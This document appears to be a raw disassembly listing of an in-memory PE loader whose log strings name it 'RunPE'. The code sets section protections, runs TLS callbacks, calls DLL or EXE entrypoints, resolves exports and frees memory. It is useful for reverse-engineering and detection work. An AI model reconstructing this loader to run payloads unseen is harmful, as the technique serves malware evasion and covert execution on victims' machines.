mov dword [rsp + 0x120], 0
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0xbc], eax
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x80000000
test eax, eax
je 0x14000eafb
mov dword [rsp + 0x124], 1
jmp 0x14000eb06
mov dword [rsp + 0x124], 0
mov eax, dword [rsp + 0x124]
mov dword [rsp + 0xb8], eax
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x14000eb3e
mov dword [rsp + 0x128], 1
jmp 0x14000eb49
mov dword [rsp + 0x128], 0
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xb8]
and ecx, eax
mov eax, ecx
test eax, eax
je 0x14000eb77
jmp 0x14000ea72
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xbc]
and ecx, eax
mov eax, ecx
test eax, eax
je 0x14000eb9d
mov dword [rsp + 0x80], 0x20
jmp 0x14000ecf0
cmp dword [rsp + 0xa0], 0
jne 0x14000ebb4
mov dword [rsp + 0x13c], 1
jmp 0x14000ebbf
mov dword [rsp + 0x13c], 0
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xbc]
and ecx, eax
mov eax, ecx
and eax, dword [rsp + 0x13c]
test eax, eax
je 0x14000ec16
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x860]
movsx eax, byte [rcx + rax + 0x625]
test eax, eax
jne 0x14000ec06
mov dword [rsp + 0x80], 8
jmp 0x14000ec11
mov dword [rsp + 0x80], 4
jmp 0x14000ecf0
cmp dword [rsp + 0xbc], 0
jne 0x14000ec2d
mov dword [rsp + 0x134], 1
jmp 0x14000ec38
mov dword [rsp + 0x134], 0
cmp dword [rsp + 0xb8], 0
jne 0x14000ec4f
mov dword [rsp + 0x138], 1
jmp 0x14000ec5a
mov dword [rsp + 0x138], 0
mov eax, dword [rsp + 0x138]
mov ecx, dword [rsp + 0x134]
and ecx, eax
mov eax, ecx
and eax, dword [rsp + 0xa0]
test eax, eax
je 0x14000ec84
mov dword [rsp + 0x80], 0x10
jmp 0x14000ecf0
cmp dword [rsp + 0xb8], 0
jne 0x14000ec9b
mov dword [rsp + 0x130], 1
jmp 0x14000eca6
mov dword [rsp + 0x130], 0
cmp dword [rsp + 0xa0], 0
jne 0x14000ecbd
mov dword [rsp + 0x12c], 1
jmp 0x14000ecc8
mov dword [rsp + 0x12c], 0
mov eax, dword [rsp + 0x130]
mov ecx, dword [rsp + 0xbc]
and ecx, eax
mov eax, ecx
and eax, dword [rsp + 0x12c]
test eax, eax
je 0x14000ecf0
mov dword [rsp + 0x80], 2
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a8], rax
movzx eax, word [rsp + 0x526]
dec eax
cmp dword [rsp + 0x50], eax
jae 0x14000ed76
mov eax, dword [rsp + 0x50]
inc eax
mov eax, eax
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x90]
mov ecx, dword [rdx + rcx + 0xc]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
sub rax, rcx
mov qword [rsp + 0x190], rax
jmp 0x14000ed92
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax + 0x10]
mov qword [rsp + 0x190], rax
mov dword [rsp + 0xa4], 0
mov edx, 0x5c
lea rcx, [0x140042de8]
call fcn.140013d88
test rax, rax
je 0x14000edd1
mov edx, 0x5c
lea rcx, [0x140042e28]
call fcn.140013d88
inc rax
mov qword [rsp + 0x380], rax
jmp 0x14000ede0
lea rax, [0x140042e68]
mov qword [rsp + 0x380], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042de0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1ca
mov r8, qword [rsp + 0x380]
lea rdx, [0x140042ea8]
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f0], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x4f0]
mov r8, rcx
lea rdx, str.Section_name:__s
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140042ee0]
call fcn.140013d88
test rax, rax
je 0x14000ee89
mov edx, 0x5c
lea rcx, [0x140042f20]
call fcn.140013d88
inc rax
mov qword [rsp + 0x388], rax
jmp 0x14000ee98
lea rax, [0x140042f60]
mov qword [rsp + 0x388], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042ed4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1cb
mov r8, qword [rsp + 0x388]
lea rdx, [0x140042fa0]
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov qword [rsp + 0x4f8], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x4f8]
mov r8d, dword [rcx + rdx + 0xc]
lea rdx, str.Section_offset:_0x_X
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140042fd8]
call fcn.140013d88
test rax, rax
je 0x14000ef3d
mov edx, 0x5c
lea rcx, [0x140043018]
call fcn.140013d88
inc rax
mov qword [rsp + 0x390], rax
jmp 0x14000ef4c
lea rax, [0x140043058]
mov qword [rsp + 0x390], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042fd0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1cc
mov r8, qword [rsp + 0x390]
lea rdx, [0x140043098]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x3a8]
lea rdx, str.Section_absolute_address:_0x_p
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x1400430d8]
call fcn.140013d88
test rax, rax
je 0x14000efd4
mov edx, 0x5c
lea rcx, [0x140043118]
call fcn.140013d88
inc rax
mov qword [rsp + 0x398], rax
jmp 0x14000efe3
lea rax, [0x140043158]
mov qword [rsp + 0x398], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400430d0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1cd
mov r8, qword [rsp + 0x398]
lea rdx, [0x140043198]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x190]
lea rdx, str.Section_size:_0x_llX
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x1400431d0]
call fcn.140013d88
test rax, rax
je 0x14000f06b
mov edx, 0x5c
lea rcx, [0x140043210]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3a0], rax
jmp 0x14000f07a
lea rax, [0x140043250]
mov qword [rsp + 0x3a0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400431c8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1ce
mov r8, qword [rsp + 0x3a0]
lea rdx, [0x140043290]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x80]
lea rdx, str.Section_protections:_0x_X
mov rcx, rax
call fcn.140011a10
lea r9, [rsp + 0xa4]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x3a8]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x60]
test eax, eax
jne 0x14000f1af
mov edx, 0x5c
lea rcx, [0x1400432d0]
call fcn.140013d88
test rax, rax
je 0x14000f135
mov edx, 0x5c
lea rcx, [0x140043310]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3b0], rax
jmp 0x14000f144
lea rax, [0x140043350]
mov qword [rsp + 0x3b0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400432c4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1d1
mov r8, qword [rsp + 0x3b0]
lea rdx, [0x140043390]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x860]
call qword [rax + 0xe8]
mov dword [rsp + 0x178], eax
mov ecx, 2
call fcn.1400154c4
mov ecx, dword [rsp + 0x178]
mov r8d, ecx
lea rdx, str.VirtualProtect_failed:__d
mov rcx, rax
call fcn.140011a10
jmp 0x14000ea72
mov edx, 0x5c
lea rcx, [0x1400433d0]
call fcn.140013d88
test rax, rax
je 0x14000f1e8
mov edx, 0x5c
lea rcx, [0x140043410]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3b8], rax
jmp 0x14000f1f7
lea rax, [0x140043450]
mov qword [rsp + 0x3b8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400433c4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1d5
mov r8, qword [rsp + 0x3b8]
lea rdx, [0x140043490]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x54c]
lea rdx, str.Setting_permissions_of_module_headers_to_READONLY___d_bytes_
mov rcx, rax
call fcn.140011a10
mov dword [rsp + 0xa4], 0
mov eax, dword [rsp + 0x54c]
lea r9, [rsp + 0xa4]
mov r8d, 2
mov edx, eax
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x60]
mov eax, 8
imul rax, rax, 9
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax + 0x88]
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0
je 0x14000f4dd
mov edx, 0x5c
lea rcx, [0x1400434f0]
call fcn.140013d88
test rax, rax
je 0x14000f2d5
mov edx, 0x5c
lea rcx, [0x140043530]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3c0], rax
jmp 0x14000f2e4
lea rax, [0x140043570]
mov qword [rsp + 0x3c0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400434e8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1e0
mov r8, qword [rsp + 0x3c0]
lea rdx, [0x1400435b0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Processing_TLS_directory
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0x500]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xe0], rax
mov edx, 0x5c
lea rcx, [0x1400435f0]
call fcn.140013d88
test rax, rax
je 0x14000f38f
mov edx, 0x5c
lea rcx, [0x140043630]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3c8], rax
jmp 0x14000f39e
lea rax, [0x140043670]
mov qword [rsp + 0x3c8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400435e4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1e6
mov r8, qword [rsp + 0x3c8]
lea rdx, [0x1400436b0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0xe0]
lea rdx, str.AddressOfCallBacks_:__p
mov rcx, rax
call fcn.140011a10
cmp qword [rsp + 0xe0], 0
je 0x14000f4dd
mov rax, qword [rsp + 0xe0]
cmp qword [rax], 0
je 0x14000f4dd
mov edx, 0x5c
lea rcx, [0x1400436e8]
call fcn.140013d88
test rax, rax
je 0x14000f447
mov edx, 0x5c
lea rcx, [0x140043728]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3d0], rax
jmp 0x14000f456
lea rax, [0x140043768]
mov qword [rsp + 0x3d0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400436e0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1ed
mov r8, qword [rsp + 0x3d0]
lea rdx, [0x1400437a8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0xe0]
mov r8, qword [rcx]
lea rdx, str.Calling__p
mov rcx, rax
call fcn.140011a10
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0xe0]
call qword [rax]
mov rax, qword [rsp + 0xe0]
add rax, 8
mov qword [rsp + 0xe0], rax
jmp 0x14000f401
mov rax, qword [rsp + 0x868]
cmp dword [rax], 3
jne 0x14000fcdc
mov eax, dword [rsp + 0x548]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e8], rax
mov edx, 0x5c
lea rcx, [0x1400437d8]
call fcn.140013d88
test rax, rax
je 0x14000f53c
mov edx, 0x5c
lea rcx, [0x140043818]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3d8], rax
jmp 0x14000f54b
lea rax, [0x140043858]
mov qword [rsp + 0x3d8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400437cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1f6
mov r8, qword [rsp + 0x3d8]
lea rdx, [0x140043898]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x3e8]
lea rdx, str.Executing_entrypoint_of_DLL:__p
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x1400438d8]
call fcn.140013d88
test rax, rax
je 0x14000f5d3
mov edx, 0x5c
lea rcx, [0x140043918]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3e0], rax
jmp 0x14000f5e2
lea rax, [0x140043958]
mov qword [rsp + 0x3e0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400438d0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1f7
mov r8, qword [rsp + 0x3e0]
lea rdx, [0x140043998]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x58]
lea rdx, str.HINSTANCE:__p_n_n
mov rcx, rax
call fcn.140011a10
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x3e8]
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x868]
movsx eax, byte [rcx + rax + 0x30c]
test eax, eax
je 0x14000fcd7
mov edx, 0x5c
lea rcx, [0x1400439c8]
call fcn.140013d88
test rax, rax
je 0x14000f69c
mov edx, 0x5c
lea rcx, [0x140043a08]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3f0], rax
jmp 0x14000f6ab
lea rax, [0x140043a48]
mov qword [rsp + 0x3f0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400439c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1fc
mov r8, qword [rsp + 0x3f0]
lea rdx, [0x140043a88]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x868]
add rax, 0x30c
mov qword [rsp + 0x508], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x508]
mov r8, rcx
lea rdx, str.Resolving_address_of__s
mov rcx, rax
call fcn.140011a10
mov eax, 8
imul rax, rax, 0
mov eax, dword [rsp + rax + 0x5a8]
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x160], rax
cmp dword [rsp + 0x64], 0
je 0x14000fcd7
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x70], eax
mov edx, 0x5c
lea rcx, [0x140043ac0]
call fcn.140013d88
test rax, rax
je 0x14000f791
mov edx, 0x5c
lea rcx, [0x140043b00]
call fcn.140013d88
inc rax
mov qword [rsp + 0x3f8], rax
jmp 0x14000f7a0
lea rax, [0x140043b40]
mov qword [rsp + 0x3f8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140043ab8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x204
mov r8, qword [rsp + 0x3f8]
lea rdx, [0x140043b80]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x70]
lea rdx, str.IMAGE_EXPORT_DIRECTORY.NumberOfNames_:__i
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x70], 0
je 0x14000fcd7
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x420], rax
mov edx, 0x5c
lea rcx, [0x140043bd0]
call fcn.140013d88
test rax, rax
je 0x14000f88a
mov edx, 0x5c
lea rcx, [0x140043c10]
call fcn.140013d88
inc rax
mov qword [rsp + 0x400], rax
jmp 0x14000f899
lea rax, [0x140043c50]
mov qword [rsp + 0x400], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140043bc4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20b
mov r8, qword [rsp + 0x400]
lea rdx, [0x140043c90]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x428]
mov r8d, dword [rcx]
lea rdx, str.IMAGE_EXPORT_DIRECTORY.AddressOfFunctions_:_0x_X
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140043ce8]
call fcn.140013d88
test rax, rax
je 0x14000f924
mov edx, 0x5c
lea rcx, [0x140043d28]
call fcn.140013d88
inc rax
mov qword [rsp + 0x408], rax
jmp 0x14000f933
lea rax, [0x140043d68]
mov qword [rsp + 0x408], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140043cdc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20c
mov r8, qword [rsp + 0x408]
lea rdx, [0x140043da8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x418]
mov r8d, dword [rcx]
lea rdx, str.IMAGE_EXPORT_DIRECTORY.AddressOfNames_:_0x_X
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140043df8]
call fcn.140013d88
test rax, rax
je 0x14000f9be
mov edx, 0x5c
lea rcx, [0x140043e38]
call fcn.140013d88
inc rax
mov qword [rsp + 0x410], rax
jmp 0x14000f9cd
lea rax, [0x140043e78]
mov qword [rsp + 0x410], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140043df0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20d
mov r8, qword [rsp + 0x410]
lea rdx, [0x140043eb8]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x420]
movzx eax, word [rax]
mov dword [rsp + 0x188], eax
mov ecx, 2
call fcn.1400154c4
mov ecx, dword [rsp + 0x188]
mov r8d, ecx
lea rdx, str.IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals_:_0x_X
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x70]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x418]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x868]
add rax, 0x30c
mov rdx, rax
mov rcx, qword [rsp + 0x510]
call fcn.1400131a8
test eax, eax
jne 0x14000fab1
mov eax, dword [rsp + 0x70]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x420]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x428]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x168], rax
jmp 0x14000fac6
mov eax, dword [rsp + 0x70]
dec eax
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
jne 0x14000fa35
cmp qword [rsp + 0x168], 0
je 0x14000fc43
mov edx, 0x5c
lea rcx, [0x140043f10]
call fcn.140013d88
test rax, rax
je 0x14000fb09
mov edx, 0x5c
lea rcx, [0x140043f50]
call fcn.140013d88
inc rax
mov qword [rsp + 0x430], rax
jmp 0x14000fb18
lea rax, [0x140043f90]
mov qword [rsp + 0x430], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140043f04]
mov qword [rsp + 0x20], rcx
mov r9d, 0x219
mov r8, qword [rsp + 0x430]
lea rdx, [0x140043fd0]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x868]
add rax, 0x30c
mov qword [rsp + 0x518], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x518]
mov r8, rcx
lea rdx, str.Invoking__s
mov rcx, rax
call fcn.140011a10
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x868]
movsx eax, byte [rcx + rax + 0x40c]
test eax, eax
je 0x14000fc27
mov rax, qword [rsp + 0x868]
cmp dword [rax + 0x50c], 0
je 0x14000fbdd
mov rax, qword [rsp + 0x868]
add rax, 0x40c
lea r8, [rsp + 0x630]
mov rdx, rax
mov rcx, qword [rsp + 0x860]
call fcn.1400119cc
mov rax, qword [rsp + 0x868]
cmp dword [rax + 0x50c], 0
je 0x14000fc00
lea rax, [rsp + 0x630]
mov qword [rsp + 0x438], rax
jmp 0x14000fc16
mov rax, qword [rsp + 0x868]
add rax, 0x40c
mov qword [rsp + 0x438], rax
mov rcx, qword [rsp + 0x438]
call qword [rsp + 0x168]
jmp 0x14000fc3e
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x440], rax
call qword [rsp + 0x440]
jmp 0x14000fcd7
mov edx, 0x5c
lea rcx, [0x140044000]
call fcn.140013d88
test rax, rax
je 0x14000fc77
mov edx, 0x5c
lea rcx, [0x140044040]
call fcn.140013d88
inc rax
mov qword [rsp + 0x448], rax
jmp 0x14000fc86
lea rax, [0x140044080]
mov qword [rsp + 0x448], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140043ff4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x226
mov r8, qword [rsp + 0x448]
lea rdx, [0x1400440c0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Unable_to_resolve_API
mov rcx, rax
call fcn.140011a10
jmp 0x1400100c7
jmp 0x140010013
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x868]
movsx eax, byte [rcx + rax + 0x40c]
test eax, eax
je 0x14000fdcf
mov rax, qword [rsp + 0x868]
add rax, 0x40c
lea r8, [rsp + 0x630]
mov rdx, rax
mov rcx, qword [rsp + 0x860]
call fcn.1400119cc
mov edx, 0x5c
lea rcx, [0x1400440f8]
call fcn.140013d88
test rax, rax
je 0x14000fd57
mov edx, 0x5c
lea rcx, [0x140044138]
call fcn.140013d88
inc rax
mov qword [rsp + 0x450], rax
jmp 0x14000fd66
lea rax, [0x140044178]
mov qword [rsp + 0x450], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400440f0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x231
mov r8, qword [rsp + 0x450]
lea rdx, [0x1400441b8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea r8, [rsp + 0x630]
lea rdx, str.Setting_command_line:__ws
mov rcx, rax
call fcn.140011a10
lea rdx, [rsp + 0x630]
mov rcx, qword [rsp + 0x860]
call fcn.140010d7c
mov rax, qword [rsp + 0x868]
cmp dword [rax + 4], 0
je 0x14000ff6c
mov edx, 0x5c
lea rcx, [0x1400441f8]
call fcn.140013d88
test rax, rax
je 0x14000fe15
mov edx, 0x5c
lea rcx, [0x140044238]
call fcn.140013d88
inc rax
mov qword [rsp + 0x458], rax
jmp 0x14000fe24
lea rax, [0x140044278]
mov qword [rsp + 0x458], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400441ec]
mov qword [rsp + 0x20], rcx
mov r9d, 0x23a
mov r8, qword [rsp + 0x458]
lea rdx, [0x1400442b8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x170]
lea rdx, str.Creating_thread_for_entrypoint_of_EXE_:__p_n_n
mov rcx, rax
call fcn.140011a10
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x170]
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x860]
call qword [rax + 0x88]
mov qword [rsp + 0x460], rax
cmp qword [rsp + 0x460], 0
je 0x14000ff67
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x460]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x80]
mov edx, 0x5c
lea rcx, [0x140044308]
call fcn.140013d88
test rax, rax
je 0x14000ff0c
mov edx, 0x5c
lea rcx, [0x140044348]
call fcn.140013d88
inc rax
mov qword [rsp + 0x468], rax
jmp 0x14000ff1b
lea rax, [0x140044388]
mov qword [rsp + 0x468], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140044300]
mov qword [rsp + 0x20], rcx
mov r9d, 0x240
mov r8, qword [rsp + 0x468]
lea rdx, [0x1400443c8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Process_terminated
mov rcx, rax
call fcn.140011a10
jmp 0x140010013
mov edx, 0x5c
lea rcx, [0x140044400]
call fcn.140013d88
test rax, rax
je 0x14000ffa0
mov edx, 0x5c
lea rcx, [0x140044440]
call fcn.140013d88
inc rax
mov qword [rsp + 0x470], rax
jmp 0x14000ffaf
lea rax, [0x140044480]
mov qword [rsp + 0x470], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400443f4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x244
mov r8, qword [rsp + 0x470]
lea rdx, [0x1400444c0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x170]
lea rdx, str.Executing_entrypoint:__p_n_n
mov rcx, rax
call fcn.140011a10
call fcn.14000a95c
mov rcx, qword [rax + 0x60]
call qword [rsp + 0x170]
mov rax, qword [rsp + 0x860]
cmp dword [rax + 0x230], 3
jne 0x1400100c7
mov edx, 0x5c
lea rcx, [0x140044500]
call fcn.140013d88
test rax, rax
je 0x14001005c
mov edx, 0x5c
lea rcx, [0x140044540]
call fcn.140013d88
inc rax
mov qword [rsp + 0x478], rax
jmp 0x14001006b
lea rax, [0x140044580]
mov qword [rsp + 0x478], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400444f4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x24c
mov r8, qword [rsp + 0x478]
lea rdx, [0x1400445c0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Execution_complete._Blocking_indefintely.
mov rcx, rax
call fcn.140011a10
mov ecx, 0xffffffff
mov rax, qword [rsp + 0x860]
call qword [rax + 0x68]
cmp qword [rsp + 0x58], 0
je 0x1400101f1
mov edx, 0x5c
lea rcx, [0x140044610]
call fcn.140013d88
test rax, rax
je 0x140010107
mov edx, 0x5c
lea rcx, [0x140044650]
call fcn.140013d88
inc rax
mov qword [rsp + 0x480], rax
jmp 0x140010116
lea rax, [0x140044690]
mov qword [rsp + 0x480], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140044604]
mov qword [rsp + 0x20], rcx
mov r9d, 0x255
mov r8, qword [rsp + 0x480]
lea rdx, [0x1400446d0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Releasing_memory
mov rcx, rax
call fcn.140011a10
movzx eax, word [rsp + 0x526]
imul rax, rax, 0x28
mov r8d, 0xc000
mov rdx, rax
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x50]
cmp qword [rsp + 0x148], 0
je 0x1400101b7
mov eax, dword [rsp + 0x574]
mov r8d, 0xc000
mov edx, eax
mov rcx, qword [rsp + 0x148]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x50]
mov rax, qword [rsp + 0x860]
call qword [rax + 0xb0]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
mov rax, qword [rsp + 0x860]
call qword [rax + 0x220]
mov rcx, qword [rsp + 0x150]
mov rax, qword [rsp + 0x860]
call qword [rax + pe_nt_image_headers64]
mov edx, 0x5c
lea rcx, [0x140044708]
call fcn.140013d88
test rax, rax
je 0x140010225
mov edx, 0x5c
lea rcx, [0x140044748]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1a8], rax
jmp 0x140010234
lea rax, [0x140044788]
mov qword [rsp + 0x1a8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, str.RunPE
mov qword [rsp + 0x20], rcx
mov r9d, 0x260
mov r8, qword [rsp + 0x1a8]
lea rdx, [0x1400447c8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
